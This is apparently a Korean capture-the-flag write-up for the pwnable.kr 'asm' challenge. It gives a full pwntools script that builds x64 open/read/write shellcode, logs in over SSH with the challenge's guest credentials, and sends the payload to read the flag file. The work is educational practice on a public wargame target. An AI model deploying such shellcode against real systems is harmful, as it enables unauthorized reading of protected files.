오늘은 asm문제를 풀어보도록 하겠습니다.
우선 파일을 확인해 보면 readme 파일이 있네요 읽어볼까요?
포트를 알려주네요. 나중에 접속해보도록 하고 c언어 파일을 봅시다.
코드와 포트를 요약 해보면 open함수, read함수, write함수를 통해서 쉘코드를 만들어야겠네요.
shellcraft를 이용해서 쉘코드를 만들어보겠습니다.
from pwn import *
context(arch='amd64', os='linux')
filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
shellcode = ""
shellcode += shellcraft.pushstr(filename)
shellcode += shellcraft.open('rsp', 0)
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
s = ssh(user='asm',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost', 9026)
conn.recvuntil("give me your x64 shellcode:")
conn.sendline(asm(shellcode))
conn.interactive()
이렇게 입력을 해주고 실행을 시켜주면
성공적으로 flag를 얻을수 있습니다.